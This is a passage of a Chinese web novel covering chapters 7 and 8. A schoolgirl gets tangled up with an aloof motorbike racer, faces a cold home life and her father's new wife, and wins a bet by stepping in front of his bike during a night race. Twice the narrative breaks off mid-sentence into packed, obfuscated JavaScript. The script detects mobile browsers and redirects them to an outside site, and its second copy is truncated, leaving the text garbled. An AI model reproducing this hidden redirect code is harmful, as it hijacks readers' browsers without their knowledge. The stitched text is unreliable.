但汤慈贪婪地在心里小声祈祷,盛毓看不到那辆空车。 但上帝没能听到她的祈祷,路口处红灯亮起,机车正好停在了垭口旁。 盛毓顺理成章和等待接客的出租车师傅对上视线。 师傅按了下喇叭,扬声问:“走不走?” 盛毓没说话。 汤慈咽了咽嗓子,再也装不下去,像是刚看到出租车一样,语气惊喜地说道:“居然有辆空车,那我坐车回去吧……” 她松开抓着夹克的手,扶着车坐下车,脚还没落地,街内便利店走出一对年轻情侣,快她一步坐进了出租车内。 师傅换掉灯牌,油门一踩驶入了街道。 汤慈尴尬地重新爬上后座,讪讪道:“真可惜,车被别人抢先了。” 冷眼围观全程的盛毓嗤笑,“不可惜,你这速度下去也没机会抢。” “……” 车开到天韵小区外,时间已经过了零点,再下车时汤慈腿脚麻利了很多,落地时她听到街对面传来一声尖锐的刹车声。 汤慈摘下头盔看过去,昏暗的路灯下一辆卖花的三轮车侧翻在地,成束的鲜花散落四周。 头发花白的老奶奶躬着身体,颤抖着双手去捡地上的花。 汤慈没有犹豫地朝对面走去,破了洞裤子内能看到她擦红的膝盖,仔细看能发现她走路姿势明显是在忍痛。 走到马路中央,手中的头盔忽然一紧,汤慈茫然转头。 盛毓拽着头盔的扣带,目光淡漠地看着她,“你的爱好就是多管闲事?” 汤慈薄唇抿紧又松开,头盔还给盛毓,没回答他的问题,而是小声道谢:“谢谢你送我回来,晚安。” 盛毓把头盔随手挂上车把,从汤慈身边走过,径直走向侧翻的三轮车。 汤慈愣了愣,快步跟了上去,她本想帮着把三轮车抬起来,可等她走进时,盛毓已经躬身将车身抬起平稳地放回了地面。 老奶奶抹着额头的汗抬头,语气感激,“好孩子,麻烦你了。” 汤慈蹲下来帮忙捡花,等了几秒没听到盛毓的回答,她笑着回老人:“应该的,您刚刚没摔着吧?” 老奶奶笑着从汤慈手中接过几捧花,“我没事,就是可惜这些花了,本来都新鲜着呢。” 汤慈看着被车子压扁的花瓣,和老人朴素的穿着,想到已经去世的外婆,心里一阵难过。 “奶奶,这些花怎么卖的呢?”汤慈从书包里翻出干瘪的钱包,犹豫了一下说:“我买……一束吧。” 老奶奶忙伸手按住她的手,急声道:“好孩子,你随便拿一束,我不收你的钱。” 老人说着将怀里唯一一束完好的洋牡丹塞到了汤慈的手中,汤慈仿佛接到烫手的山芋,手足无措地想将花还回去。 盛毓突然说:“拿着吧。” 老奶奶也笑着安慰她:“不值几个钱。” 汤慈轻轻吐息,只好收下。 扶老奶奶坐上驾驶座,等三轮车开出半米,汤慈才看到老人的布包还放在车斗里。 她正要上前提醒。 盛毓抬手给她比了一个“嘘”的姿势,然后他从口袋里翻出钱包,掏出一叠厚厚的百元钞票,塞进布包内,才拿起包撂给汤慈。 汤慈接过包,快步跑到三轮车前,把包递给老奶奶。 老奶奶没发现包内异样,摆摆手让她快回家,然后开着三轮车缓缓驶入夜色之中。 汤慈走回盛毓身边,替老人道谢:“谢谢,你人真好。” “真想谢就别再来麻烦我。”盛毓跨上机车准备离开。 听着他冷冰冰的话,汤慈本应该知难而退,但散发清香的洋牡丹给她壮了胆。 她从书包里拿出奖学金宣传册,抬手递到盛毓眼前,“补习的事,你要不要看看再决定呢?奖学金很高的。” 盛毓瞥了一眼宣传页,“我缺这点钱?” 汤慈咽了咽嗓子,抬眸真诚地对他说,“可是我缺。” 盛毓没什么情绪地掀眸,“跟我有关系?” “没关系。”汤慈摇摇头,清润的瞳仁眨了一下,又看着他的反应试探着轻声说:“我有免疫系统的疾病,每周都要去医院做检查,所以这笔奖学金对我来说真的很重要。” 盛毓皱眉,“你爸妈不管你?” 想到汤建伟和秦玲,汤慈早就麻木,但还是硬挤出两滴泪,“我妈早就去世了,我爸娶了后妈,现在后妈怀孕了,他俩就不管我了。” “……”盛毓扯了扯唇角,“你演苦情剧呢?” 汤慈用力揉了揉眼睛,红着眼眶翁声问:“那能打动你吗?” “真这么缺钱,让老陈给你整个募捐,我给你捐笔大的。”盛毓低头调试头盔的护带,一副不想再和她多言的冷淡模样。 汤慈耷拉着眉眼叹气,等盛毓戴上头盔,她又问:“你周末去北山比赛吗?” 盛毓说:“比。” 汤慈眼巴巴看着他追问:“那我能去吗?” 大概是刚刚流过泪的缘故,她的声音变得黏糊绵软。 盛毓冷声说,“我说话你听过吗?” 汤慈眨了眨乌黑的双眼,再次小声问:“到底能不能啊?” “随你。” 盛毓淡声撂下一句,躬身发动机车驶出了巷子。 / 汤慈看着他的背影消失在转角,才慢吞吞地进了小区。 打开家里大门,屋内漆黑一片。 汤慈一开始以为汤建伟和秦玲还没回家,等换上拖鞋走到客厅,才发现主卧的门缝亮着光。 听到脚步声,汤建伟穿着睡衣拉开门,看到背着书包的汤慈愣住,“你刚回来?” 汤慈点头。 汤建伟皱起眉头,“这都几点了?台球厅有这么忙?” 汤慈还未说话,秦玲挺着肚子走到卧室门边,细声劝道:“老汤,大半夜的别吵孩子,让小慈赶紧去睡吧。” 汤建伟听罢叹着气对汤慈摆摆手,转身回了房间。 汤慈回到卧室,放下书包和洋牡丹花束,拿睡衣和毛巾去浴室。 主卧门缝还亮着光,传出细微的说话声。 汤建伟仍在抱怨,“一个女孩子半夜回来,像什么样子,万一被邻居看到……” 秦玲笑了一声,“没看到她拿的那束花啊,八成是耍朋友了。” 汤建伟斥声道:“她现在是耍朋友的时候吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942241|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 秦玲语调悠扬,“小慈马上成年了,谈个朋友很正常,再说了真谈上了不正合你意吗?” 汤建伟疑问:“你这话什么意思?” “现在年轻人都开放,恋爱了就同居,到时候直接搬出去……” 汤建伟马上领会秦玲没说完的话,但尽管心里赞同,但口上还是拗不过当爸的责任心,嘟哝道:“我这不是担心她遇到坏人吗?” 秦玲嗤笑,“就她这身子骨,有人要就不错了,要我说她不如趁年轻早点找人嫁了,生个儿子立了功,婆家还能看在孙子的面儿上掏钱给她把病治了。” 汤建伟听她这直白的话,嗓音压下来,“你小点声!” 秦玲声音立刻软下来,两人又嘀咕几句,才关上了灯。 汤慈沉默着拉开浴室的门,站在洗手池边看镜子里自己灰败的面容,眼神麻木而空洞,仿佛一台没有情绪的机器。 她突然想到在妈妈去世的那一年初春,她也曾愤怒地和汤建伟大吵大闹过。 六岁的她从殡仪馆把妈妈的骨灰盒捧回家,双手冻得发僵。 门铃按了半天,开门的却是秦玲,女人涂着玫红颜色的口红,笑着摸摸她冰凉的脸颊:“这孩子真可怜,这么小就没了妈,以后我来当你妈妈吧?” 汤慈打开她的手,仰着头双眼噙满泪水,当着满屋的亲戚面质问汤建伟,在妈妈治疗的最后三个月他为什么一次都没去过医院。 汤建伟不说话,汤慈就扑上去咬他。 亲戚上前拉架,满嘴都是她这个孩子不懂事。 最后,汤慈在汤建伟的手腕上留下带血的牙印,自己的脸上挨了一个火辣辣的耳光。 年轻时的汤建伟比现在更重脸面,他怒吼着把满脸泪水的汤慈赶出了家门。 汤慈光着脚,牙齿打着颤,一直等到宾客散尽,最后是秦玲出来,推着浑身僵硬冰冷的她回了温暖的屋内。 汤建伟灌了二两白酒,正躺在沙发上呼呼大睡。 秦玲体贴地给他盖上被子,被汤建伟一把抓住手臂,含混而熟稔地叫她老婆。 汤慈看着眼前的一幕,眼泪已然冻在脸上,她蜷起发痒的指尖去摸骨灰盒上的凤凰雕花。 她在那一刻忽然明白过来,她是这个家的外人了。 外人是没有哭的权利的。 再后来她确诊了和妈妈一样的病,每当恐惧将她席卷,她只能躲在医院没人的角落偷偷抹泪。 那时候南大附属医院还在老城区,住院部的院墙外是绵延不绝的田野,不远处的湖泊明亮纯净如宝石。 那是汤慈承放脆弱的隐秘之地,她可以肆意的发呆流泪。 直到某天突然闯入一个不速之客。 戴着眼罩仍挡不住桀骜的少年,扶着墙壁准确看向她坐着的位置,嗓音和七月的风一样懒洋洋。 “再哭就把你丢湖里。” 刚挨完一针的汤溪哭得更凶,抽噎间狼狈地打了个嗝。 少年不耐地“啧”了一声,摸索着踏入花丛朝她走近,冰凉的指尖触碰到汤慈湿润的脸颊。 他从口袋掏出一张纸巾,轻柔地为她擦泪。 汤溪闻到他身上很浅的皂香,和被温暖阳光晒透的气息。 当时小学刚毕业的汤慈还不懂说话的艺术,她直白地问高她一个头的男生,“哥哥,你为什么戴着眼罩?” “游泳感染。”男生毫不在意掀开眼罩给她看,“坏了。” 汤慈看着他漂亮漆黑却没焦距的双眼,大惊失色。 她清晰记得,妈妈去世前指着肚子里的器官对她说“坏了”。 “坏”对年幼的她来说代表着死亡。 汤慈攥紧手指,犹豫了几秒,下定决心一般对他说:“你别担心,我快死了,等我死了可以把眼睛捐给你。” 男生愣了一会儿,才扯起唇角,淡声命令她,“那你以后不能再哭了,我想要一双完好无损的眼睛。” 7. 第 7 章 汤慈固定周末下午去医院打针,不耽误晚上去台球厅兼职。 由于她计划今晚去北山看比赛,她提前两天就和席静请了假。 在医院等待叫号的空当,苗苗给她发来信息。 【苗苗:你晚上请假了?】 汤慈回她:“是的,今天晚上要辛苦你了。” 苗苗的信息很快发来:“不辛苦,我晚上跟人调班了,咱俩一起去北山?” 会诊室外的等候区人满为患,汤慈左右都坐着人,虽然都没在看她,但看到手机上的消息后,她做贼心虚般把手机调暗了几度,才轻点屏幕回信息。 【汤慈:你怎么知道我要去北山?】 【苗苗:太好猜了,除了学习和工作,盛毓是你唯一表现出来感兴趣的事。】 汤慈还没回,苗苗又紧接着发来一句,“前天晚上什么情况?盛毓让你上车了吗?” 【汤慈:让了,谢谢你啊。】 【苗苗:小事,今天我还为你的爱情保驾护航,有什么需要就告诉我。】 汤慈目光投到窗外和北山一样葱郁的灌木上,沉吟片刻,回她,“比赛前你能带我去北山转一圈吗?我想多了解一些比赛的事情。” 【苗苗:是想多了解一下盛毓吧?】 汤慈没有反驳,对苗苗说之后请她吃饭答谢。 台球厅离医院不远,汤慈打完针坐公交车去找苗苗,再坐她的小摩托去北山。 她们去的早,到的时候山上还没什么人,把电车停在路边,两人先去附近的商场吃饭。 汤慈做好了请客吃饭的准备,苗苗却随意走进一家炒粉店,汤慈跟着进去,在她对面坐下后,问:“我就请你吃这个吗?” 苗苗掏出自己的钱包,暧昧笑道:“懂不懂行啊妹妹,要请客也是你和盛毓好了之后,让他请客吃顿大的啊。” 汤慈被她说的脸热,垂眸尴尬整理裙摆,手臂摆动牵动手肘处的针孔,细微的痛感瞬间让她清醒。 她盯了两秒手臂上青紫的痕迹,勉强牵动唇角:“还是我请你吃吧,不然可能就没机会了。” “你怎么这么丧气啊。”苗苗误会她的意思,撇撇唇道,“还没开始追就确定追不上?” “其实……我也没想追。”汤慈推推眼镜。 “那你今天来做什么?”苗苗手肘撑着桌面,怀疑地看着她,“难不成真的来看比赛啊?” 汤慈纤长的睫毛眨了眨,垂眸看着桌面轻声说:“我想来打个赌。” 她穿一件白色纽扣连衣裙,肩上背着书包,头发规整地扎在脑后,露出干净到没有任何修饰的窄小脸庞。 汤慈干净的气质和“赌”这个字差了十万八千里。 苗苗愣了良久,才皱眉问:“你学习学傻了?想找刺激?” / 小摩托在北山蜿蜒的道路上匀速行驶,苗苗边骑边扭着头再三警告汤慈。 “那些来打赌的都是混混,你知道什么是混混吗?混混就都是不讲理的恶霸。” “你这样的学生妹赢了就得被混混缠上,输了你整个高三就别想安生了。” 见汤慈一直不说话,苗苗直接把车停在栏杆处,转过身瞪她,“你听见我说的了吗?不准跟混混打赌,知道吗?!” 汤慈认真乖巧地看着她,点头说:“真的知道了。” 她认错态度良好,苗苗放下心来,继续带她绕山骑行,顺带介绍机车比赛的道路规则。 日落后的蓝调时刻生命力短暂,很快天色就完全暗下来,道路两旁本就不明亮的路灯被植被遮掩大半,整条赛车道都昏昏沉沉。 汤慈朝四周张望了一圈,语气担忧:“这么黑他们怎么跑啊?” “靠机车的灯啦。”苗苗迎着风告诉她:“黑才刺激有氛围嘛。” 汤慈眉心未舒展:“比赛的时候不会有人误闯进来吗?” 苗苗语气放松,“这一片的居民都知道北山晚上有人玩摩托,山下摆摊的小贩也会提醒的。” 摩托拐过一个呈九十度的转角,苗苗指着示意汤慈看,“这是跑道最后一个转角,拐过这个弯就能冲刺到终点了。” 汤慈若有所思地点头,看到上山的台阶陆续有人上来,对苗苗说:“是不是快开赛了?我们上去吧。” 苗苗嗯了一声,调转车头去山下停车。 北山不止一个进山口,她们到观景台时,台上已经有不少人,正围着今晚要比赛的车手说话。 空气湿闷,盛毓摘下头盔时,理得很短的漆黑发尾被汗濡湿,他摘下手套,用手背随意地擦了一下后颈。 乔熙从包内拿出纸巾递了过去,贴着假睫毛的眼睛扑闪着,嗲声说:“盛毓,我给你准备纸巾了,水要不要啊?” 周弋阳怼怼正往耳朵里塞耳机的盛毓,“毓哥,人家叫你呢。” 金铭看着乔熙精致的脸蛋,酸溜溜地说:“我头发也湿了。” 乔熙笑得很甜,纸巾递给了金铭,强调道:“那你们一起用嘛。” 金铭拆开印着粉色爱心带着香气的纸巾,给盛毓和周弋阳都递了一张。 盛毓这次接下了。 乔熙挑挑眉看向跟她一起来的职高同学,一群人都开始暧昧起哄。 职高混混多,基本都听说过盛毓的大名,面对这么一个家世外貌皆顶级的天之骄子,男生们想攀关系,女生们则想和他更亲密。 但盛毓冷淡不近人情的名声在外,没人敢主动撩,也就乔熙这种和他勉强门当户对的白富美大胆一些。 乔熙自上次在滨湖公园见到盛毓就一见钟情,她自小被家人宠得张扬,想要什么都轻易得到,碰到盛毓这种难接近的,反而激起了她的胜负欲,暗下决心势必要把他拿下。 刘贞买水回来,神情暧昧地戳了戳正受众人恭维的乔熙,“你看谁来了?” 乔熙转动脖颈,顺着刘贞的指引看到人群外的汤慈,立刻露出夸张的笑容,扬声喊她:“汤慈,你也来看比赛?” 汤慈听到声音看过去,乔熙和她身侧几个女孩都看着她,在她们的目光下,汤慈因为快速爬台阶而褪去血色的脸颊更白了一些。 她咽咽干哑的喉咙,没回应乔熙。 乔熙挑了挑眉,语气仿若好心地继续问,“汤学霸——你有看好的选手吗?需不需要我们给你介绍啊?” 金铭没听出她口中的讽刺,看汤慈撇撇嘴说:“她还能看好谁?毓哥呗,最近老见她缠着毓哥。” 周弋阳看着汤慈攥紧的裙摆,抬脚踹了金铭一脚。 平白无故挨了一脚的金铭嚷嚷着要踹回来。 乔熙这边已经哄然笑开,鄙夷的目光,嘲讽的议论,洪水一般一股脑儿地冲向汤慈。 汤慈看着眼前的闹剧手脚发凉,被当成异类被团体排斥在外的场景,是她初中时常常发生的事。 呼吸沉滞淤堵,汤慈忽然有了落荒而逃的冲动。 苗苗气得胸口不断起伏,拉着她的手问:“她们谁啊?怎么个个都像神经病?” 汤慈安慰地捏捏她的掌心,她张了张口,还未说话。 喧闹中倏地传来“哐啷”一声,一瓶还剩一半的矿泉水在夜空中划过抛物线砸进铁皮垃圾桶。 声音响亮,场面瞬间冷下来。 盛毓收回扔瓶子的手,一把扯下耳机线,冷眼看向刚刚还叽叽喳喳的众人,“吵死了。” 乔熙笑容僵在脸上,脸色一阵红一阵白,嘴唇抿紧了没再说话,众人面面相觑,仿佛被老师训诫的学生,局促地在原地站着。 就连下赌注的桌子周围都安静了少许,但仍有不少人拿着扑克牌赌今晚比赛的输赢。 汤慈转头对苗苗说:“我过去一下。” 苗苗被盛毓刚刚那一句话帅到,鼓励地推推她的背说:“去吧。” 汤慈迎着众人的目光径直走到盛毓旁边,看他又要戴耳机,她没有犹豫伸手拽住了他耳机的一截线。 乔熙眯起了双眼,看着眼前的一幕,不可置信地冷笑一声。 刘贞震惊地长大了嘴:“她疯了吧,上赶着找盛毓的骂?” 盛毓无视周围的目光,漆黑的瞳孔扫在汤慈脸上,“有事?” 汤慈压下心头的鼓噪,松开耳机线,温声问他:“盛毓,你敢不敢跟我赌一场?” 等着看汤慈笑话的众人皆是愣住,视线交错着,露出疑惑表情。 北山的摩托赛本就是民间的野比赛,赛车手和人打赌的情况屡见不鲜,但稳居第一的盛毓却从来不赌。 他从来都是比赛完就走,不享受众人的欢呼,也不参与赛场下的任何游戏。 盛毓看着汤慈瘦削沉默却直愣愣的模样,莫名觉得那句挑衅一样的话,就该是从她口中说出来。 他抬眉问:“赌什么?” 汤慈神色沉静,一字一字道:“我赌你今天会输。” 四下哗然,嘀咕声此起彼伏。 坐在赌桌内的青年饶有兴致地扬声问:“小姑娘,你可想好了?盛毓可从来没输过。” 汤慈侧目看了他一眼,推了推镜框点头说:“想好了。” 盛毓指尖轻点着车把,“要是我赢了呢?” “那我不会再缠着你。”汤慈又朝他走近了半步,再开口语气坚定,“但你输了就跟我回学校补习。” 周围人怔了片刻,爆发出哄堂大笑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942242|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在北山混的无一不是学校、社会的霸王,这群人日常生活就是四处挑事找刺激,学习像是上辈子的事。 一直坐在暗处看热闹的林尧表情意外地抬眼,阴沉的视线在盛毓和汤慈之间穿梭,皮衣口袋里的手指摩挲把玩着一把折叠小刀。 乔熙和刘贞交换目光,噗嗤笑出声,她悠然走到汤慈身前,说:“汤学霸,你当全世界都是学校呢?盛毓要是不答应你,你难道还要去告老师?” 她讥嘲的话又引起一阵哈哈大小。 汤慈默然站在舆论中心,肩膀挺得很直,只定定看着盛毓,“你敢和我赌吗?” 本该冷硬的疑问句,因她语气柔软,仿佛是在示弱。 气氛倏尔暧昧起来,周围赛车手纷纷摘下头盔起哄。 其中一个青年笑出眼泪,拍着盛毓的车尾说:“左右你也输不了,干脆就随了人姑娘的愿赌一场呗。” 金铭跟着附和,“对啊毓哥,赶紧跟她赌完拉倒,省得她天天在你眼前晃悠。” 哄闹声愈演愈烈,周弋阳看着汤慈白如纸的面颊,有些于心不忍,对盛毓说:“要不你今天就跑慢点——” “你心疼?”盛毓掀起眼皮问。 “都一个班的同学。”周弋阳轻咳,“闹那么僵干嘛。” “别说得好像我欺负她一样,”盛毓冷嗤一声,在汤慈眼前打了个响指,“你说话算话?” 汤慈忙点头,“算的。” 盛毓拽下左耳的线,扬手把耳机撂到她身上,“我赢了之后,从今往后你不准踏进北山一步。” / 哨声响起,山道上的机车纷纷冲出白线。 汤慈走回人群外的栅栏处,苗苗正面色复杂地看着她。 脚步顿了顿,汤慈满脸无辜对她说:“我没有跟混混打赌。” 苗苗一脸无语地“嗯”了一声,“你直接挑衅脾气最差的赛车手,更牛了呢。” 汤慈默默倚靠着栏杆,“他这不是答应了吗。” 苗苗翻了个白眼,“答应了他也不会输啊,你以后就别想着接近他了。” 汤慈没说话,垂头将一团乱麻的耳机线卷好,放进了裙子口袋。 盛毓每跑过一圈都能激起无数欢呼。 乔熙摇着手臂喊完加油,待那辆漆黑的机车拐进上山的弯道,确定盛毓以断层第一的成绩驶入最后一圈,她满脸得意地去搜寻汤慈的身影。 汤慈站在风口处,面容被摇晃地树影遮得模糊,白色裙摆如被雨淋湿的花瓣,蔫巴巴垂在脚踝。 轰隆隆地一声闷雷,乌云迅速席卷天幕,转瞬间柏油路面就被豆大雨滴接连击中。 观赛的人都一窝蜂地朝雨棚跑,苗苗拉住汤慈的手腕也跟着跑,却没拉动。 汤慈指指观景台下方的公共卫生间,“我去趟洗手间,你先过去吧。” 苗苗点头,嘱咐她注意安全,就快速朝雨棚跑去。 汤慈脚步很快,但走到洗手间门外时,肩膀还是被雨打湿。 她没停,继续朝山下走。 茂盛枝丫挡住了她的身影,因此雨棚内的众人没人注意到她。 一直到看见呈九十度转角,汤慈才停下脚步,打量起四周情况。 不算宽阔的山道,左侧是栏杆挡住的悬崖,右侧是嶙峋的峭壁。 汤溪握着冰凉的栏杆,静心听雨之外的声音。 待听到低沉的嗡鸣声后,她才猛地深吸了一口气,松开栏杆朝道路中间走去。 轮胎在湿滑的地面转弯时发出凄厉地鸣叫,引擎声沉重如雷鸣。 明亮刺眼的灯光直直照到她的脸上,汤慈浑身颤抖着闭上了双眼。 很快一道比轮胎转弯时更刺耳的摩擦声响起,汤慈感觉到书包肩带被尖锐物体猛地扯住。 身体一轻,她整个人摔进了道路外的草丛。 汤慈没顾疼得像是散架的手臂,艰难地从泥泞中撑起了上半身。 她抹掉眼前的雨水,看到盛毓摘下头盔,连带着机车一起扔在栏杆处,然后大步朝她走了过来。 眼前猛地一黑,盛毓掐着她的脖子把她掼在了岩壁上。 后背被尖锐寒冷的岩石抵住,汤慈呼吸急促着睁开眼,对上盛毓压抑着滔天怒火的瞳孔。 汤慈张着嘴唇汲取稀薄的空气,目光却格外沉静。 盛毓咬着后槽牙收紧了指尖,目眦欲裂地瞪了她几秒才寒声说:“你要真想死,我现在就成全你。” 第二辆机车从转弯处冲了出来,朝着半山腰的终点方向转瞬消失。 汤慈狼狈的脸上目光很亮,她双手抓紧盛毓的手臂,嗓音沙哑地宣布:“我赢了。” 8. 第 8 章 第一辆机车冒雨冲过终点线,雨棚内的众人爆发出呼喊声。 头盔摘下,露出林尧带着邪气的脸。 喝彩声中断一瞬,随后惊呼声四起。 林尧被职高的同学团团围住,男生们嚣张地大喊。 “尧哥牛逼!!” “冠军!冠军!!” 乔熙等林尧走进雨棚,皱着眉问:“盛毓呢?” 林尧抬起眼皮佯装思索了两秒,才笑着说:“最后一个转弯处有辆侧翻的车,不知道是不是他。” 乔熙眉心揪得更紧,找人借了把伞,和刘贞一起走人行道下去找人。 脚下的石阶已经彻底被雨淋得湿透,刘贞穿着不防滑的皮鞋,艰难地扶着栏杆前行。 她看着乔熙健步如飞的急切模样,以为她在担心盛毓,于是安慰道:“你别着急,其他车手都没上来,应该是看到盛毓过去帮忙了。” “所以我才着急啊。”乔熙挑挑眉。 刘贞愣了一下,很快意会到她的意思,“你是想早点过去帮盛毓,好让他欠你个人情。” 乔熙笑了一下,语气调侃,“要是真能让盛毓欠我个人情,我还得感谢汤慈这个废物呢。” 刘贞也跟着笑起来。 乔熙打好的算盘在来到转弯处时崩了,盛毓的机车确实侧翻在地,受伤的却另有其人。 路边停满机车,地上立着荧光的警示牌,剩下的赛车手确实如刘贞所说看到有车辆侧翻就停了下来,此刻他们三三两两站在路边,帮着盛毓将草丛内的人扶了起来。 刘贞看到被盛毓身体挡住大半的消瘦身影,睁大眼睛对乔熙说:“那不是——” “汤慈。”乔熙冷声打断她,咬着下唇看着几步外的场景。 汤慈的白色裙摆被雨水打湿变得脏污,和盛毓的裤脚黏在一起。 可以想象得到两人贴得有多紧。 山下驶来一辆出租车,副驾驶上坐着惊魂未定的周弋阳,他原本跑第三,看到盛毓后就立刻停了下来。 周弋阳当时甚至没来得及看盛毓怀里的人是谁,就被盛毓沉声吩咐下山去打车,现下出租车停了下来,他才看清受伤的人是汤慈。 汤慈脸色比赛前更加苍白,白皙的手臂上有几道几道擦伤的痕迹,看起来挺严重。 盛毓却完全没有怜香惜玉的闲情,冷眉冷眼地抓着她的手臂将她扔进了出租车后座。 他沉着地吩咐金铭找人把他的机车开回去,随后他绕过车尾,从另一侧上了车。 出租车很快掉头,朝着医院的方向开走。 剩下的人见没发生重大事故,都松了口气,比赛彻底没了兴致,几个车手干脆直接骑车下了山。 刘贞跺了跺脚,将鞋底沾上的树叶甩开,冷哼着说道;“没想到汤慈心机这么重,以前真是小瞧她了。” 眼前发生的一切,乔熙在心里稍加思考就能推断出来,只是她没想到汤慈能为了缠上盛毓做到这一步。 这完全和她印象里只知道读书,对其他事情都无所谓的汤慈不同。 乔熙心中的胜负欲如火焰般越烧越高,看着即将消失在视野中的出租车,轻声说:“汤慈,我们走着瞧。” / 医院急诊科。 值班医生仔细检查了一番汤慈的伤势,虽没什么大碍,但小伤不少。 再一看会诊室门口站着的两个高大的男生,医生低声问一直安静的汤慈,“你这伤是怎么回事?需要我帮你报警吗?” 汤慈立刻摇了摇头,“谢谢医生,我不小心摔倒了,是我同学发现送我过来的。” 她语气轻缓,没有被胁迫的迹象,医生放下心来为她处理伤口。 包扎她手臂上的划伤时,医生看到她脖颈上的一点红痕,随口问:“脖子上什么情况?怎么红了?” 汤慈下意识抬眼朝站在门口的盛毓看去,盛毓双手抱胸,冷声重复医生的话,“说啊,脖子怎么伤的?” 垂在凳子上的指尖蜷缩起来,汤慈移开视线细声告诉医生,“被石头硌了一下。” 听到盛毓的嗤笑,汤慈头垂得更低了一些。 处理完她的伤口,医生手背在她额头探了探,拿出体温计一量,发现她正在低烧,遂问:“吃药还是打点滴?” 汤慈看了一眼墙上的表,时间很晚了,她说:“吃药就行。” 医生点头开药,打开她的病历单却凝眉顿住,语气沉重地建议她:“吃药见效慢,你的身体拖不起,还是打点滴吧。” 汤慈咽了咽喉咙,说好。 拿着缴费单出诊疗室的时候,盛毓仍站在原地,周弋阳走到汤慈面前,语气担忧地问:“没什么大问题吧?” 汤慈摇头,“有点发烧,输个液就行,你们先回去吧。” 周弋阳的手机应景地响了起来,他接通后告饶地喊了几声妈,挂断前对着话筒保证,“半个小时后我一定到家。” 盛毓朝他抬抬下颌,“今天麻烦你了,快回去吧。” 电话催得急,周弋阳没再说什么,转身出了急诊科的大楼。 汤慈站在自助缴费机前,转头对身后的盛毓说:“你家人也该着急了吧,不用陪着我的,你先回去就行。” “别废话。”盛毓右手拿着手机,指骨敲了敲自助机,催促她操作下一步。 汤慈点击缴费,还未掏出手机,页面就已经跳转至缴费成功。 她愣了一下,意识到盛毓已经付过了钱,于是小声说:“谢谢,我把钱转给你吧。” 盛毓嗓音略带嘲讽地说:“那怎么行,毕竟是我撞的你。” 汤慈憋了一路关于之前打赌的话,被他呛得彻底说不出来,讷讷跟着他一道去了输液室。 输液室里零星坐着几个病人,坐在门边的两个女孩听到脚步声抬头,看到汤慈身上的衣服后愣了一下,陪护的女孩走上前委婉地提醒她,“你的裙子湿了。” 汤慈看向落地窗,发现身上的裙子已经呈现半透明的状态,里面的白色内衣隐约透出轮廓。 双颊轰然发烫,汤慈局促地揪了揪裙摆,丧气地发现根本无济于事,局促地把脑袋埋低,默默期望盛毓没有发现。 头顶倏地一沉,眼前也随之一黑,汤慈摸了一下罩在头顶的夹克,听到脑袋上方传来盛毓冷淡的声音,“穿上。” 汤慈张了张嘴,“谢谢”到嘴边又咽了下去,她今晚道了太多谢,盛毓都回得不冷不淡,她怕再说盛毓会反感,于是默不作声穿上了夹克。 男款夹克对她来说过大,汤慈将右边袖子挽了好几圈才露出手腕。 待护士扎完针离开,盛毓才有了要走的意思。 他拿出手机看了看时间,没有理会埋头看地板砖的汤慈,径直出了输液室。 汤慈看他修长的身影穿过灯火通明的走廊,消失在走廊转角,才轻轻叹了一口气。 她以卑劣的手段赢下赌约,却没有勇气找盛毓兑换奖品。 汤慈怔怔看了一会儿空荡荡的走廊,听到手机震动声才回过神。 苗苗从赛车手和观众七嘴八舌地八卦里拼凑出完整的事件经过,一连给她发了七八条消息。 “我早该想到!事出反常必有妖!!你今天突然让我带你看跑道,是早就打算好拦盛毓的车了吧?!!” “你怎么敢的?!你要真出事了我也不活了!” “你现在人怎么样?!怎么不接电话??” …… 汤慈点开通讯记录,发现并没有未接来电,加之屏幕切换时的卡顿,她断定这部从汤建伟那里得来的旧手机出了毛病。 怕苗苗担心,汤慈匆忙发信息给她报了平安。 得知她没有大碍,苗苗也没继续责怪她,只让她早点休息。 汤慈鼻尖蓦然一酸,指尖翻动着,找出她和汤建伟的聊天记录,上一次对话是上个月月底。 汤建伟让她下班时去拍档街给秦玲带份炒面。 汤慈滑动指尖又朝上翻了翻,不多的聊天都仅限于日常的吩咐,比起亲人,她更像是汤家的租客。 她把手机收了起来,听着窗外紧密的雨声,下意识裹紧了宽大的外套,似有若无的皂香萦绕鼻尖,像是被太阳晒透的棉被。 贪念在心底滋生,汤慈抬起穿着夹克的手臂,轻轻嗅了嗅。 “闻什么?” 冷冽的嗓音自头顶响起,汤慈慌张抬头,看到盛毓不知何时去而复返,手中拎着超市的塑料袋,目不转睛地看着她。 刚输进体内的消炎药全然失效,汤慈浑身的细胞都烧了起来,她不知所措地舔了舔干燥起皮的嘴唇,磕磕绊绊地编造了一个拙劣的谎言。 “你衣服上……有烟味。” 盛毓挑眉,“我今天没抽烟。” “……”汤慈只敢和他的鞋尖对视,含混“嗯”了一声,找补道:“可能是我生病闻错了吧。” 盛毓看着她头顶柔软的发旋,没再为难她。 将手中的塑料袋扔在了她左边的空位,盛毓在她对面的椅子上坐了下来。 汤慈搓了搓脸才抬头,“你买了什么?” “吃的。”盛毓半撩着眼皮,命令她,“吃一点。” 汤慈顺从地点头,解开塑料袋,掏出一个面包打开来吃。 她吃东西很快但很安静,仓鼠一样,清瘦的脸颊鼓起来,闭着嘴唇咀嚼几下,囫囵咽下,很快就将一块面包吃完。 